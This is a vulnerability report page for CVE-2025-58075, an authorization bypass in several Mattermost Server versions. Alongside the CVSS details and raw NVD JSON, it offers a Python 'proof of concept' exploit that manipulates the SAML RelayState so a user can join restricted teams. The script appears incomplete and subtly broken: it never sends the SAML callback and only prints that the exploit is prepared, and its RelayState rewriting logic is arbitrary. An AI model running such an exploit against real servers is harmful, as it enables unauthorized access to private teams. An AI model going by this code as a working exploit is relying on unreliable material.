Security Vulnerability Report
中文
CVE-2025-58075 CVSS 8.1 HIGH

CVE-2025-58075

Published: 2025-10-16 09:15:35
Last Modified: 2025-10-21 17:49:15

Description

Mattermost versions 10.11.x <= 10.11.1, 10.10.x <= 10.10.2, 10.5.x <= 10.5.10 fail to verify a user has permission to join a Mattermost team using the original invite token which allows any attacked to join any team on a Mattermost server regardless of restrictions via manipulating the RelayState

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 10.11.x <= 10.11.1
Mattermost 10.10.x <= 10.10.2
Mattermost 10.5.x <= 10.5.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58075 - Mattermost Team Join Permission Bypass via RelayState Manipulation Proof of Concept """ import requests import re from urllib.parse import urlparse, parse_qs, urlencode class MattermostRelayStateExploit: def __init__(self, target_url, invite_token, target_team_id): self.target_url = target_url.rstrip('/') self.invite_token = invite_token self.target_team_id = target_team_id self.session = requests.Session() def get_saml_request(self): """Initiate SAML SSO flow with the invite token""" # Step 1: Access the invite link to trigger SAML flow invite_url = f"{self.target_url}/signup_team_complete/?id={self.invite_token}" response = self.session.get(invite_url, allow_redirects=False) # Extract SAML Request ID and RelayState from the redirect if response.status_code in [301, 302]: location = response.headers.get('Location', '') parsed = urlparse(location) params = parse_qs(parsed.query) return { 'saml_request_url': location, 'relay_state': params.get('RelayState', [''])[0], 'saml_request_id': params.get('SAMLRequest', [''])[0] } return None def manipulate_relay_state(self, original_relay_state): """Manipulate the RelayState to target a restricted team""" # Replace the team ID in RelayState with the target restricted team manipulated = original_relay_state.replace( self.invite_token.split('_')[0] if '_' in self.invite_token else '', self.target_team_id ) # Alternative: directly construct malicious RelayState malicious_relay_state = f"signup_team_complete/?id={self.target_team_id}" return malicious_relay_state def exploit(self): """Execute the exploit chain""" print(f"[*] Targeting: {self.target_url}") print(f"[*] Using invite token: {self.invite_token}") print(f"[*] Target team ID: {self.target_team_id}") # Get initial SAML request saml_info = self.get_saml_request() if not saml_info: print("[-] Failed to get SAML request") return False print(f"[+] Got SAML request") print(f"[+] Original RelayState: {saml_info['relay_state']}") # Manipulate RelayState malicious_relay_state = self.manipulate_relay_state(saml_info['relay_state']) print(f"[+] Manipulated RelayState: {malicious_relay_state}") # The manipulated RelayState would be sent through the SAML callback # to bypass team permission checks print("[!] Exploit prepared - send manipulated RelayState through SAML callback") print("[!] This will bypass team join permission verification") return True if __name__ == "__main__": # Configuration TARGET = "https://mattermost.example.com" VALID_INVITE_TOKEN = "valid_invite_token_here" TARGET_TEAM_ID = "restricted_team_id_here" exploit = MattermostRelayStateExploit(TARGET, VALID_INVITE_TOKEN, TARGET_TEAM_ID) exploit.exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58075", "sourceIdentifier": "[email protected]", "published": "2025-10-16T09:15:35.030", "lastModified": "2025-10-21T17:49:14.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.1, 10.10.x <= 10.10.2, 10.5.x <= 10.5.10 fail to verify a user has permission to join a Mattermost team using the original invite token which allows any attacked to join any team on a Mattermost server regardless of restrictions via manipulating the RelayState"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.11", "matchCriteriaId": "9A7F5FBF-4910-4376-96DF-0549BA5259AE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.10.0", "versionEndExcluding": "10.10.3", "matchCriteriaId": "409352A4-2061-42B0-B130-F6889A62025A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.3", "matchCriteriaId": "D4B91178-97CA-4799-A853-685F04C33F9E"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}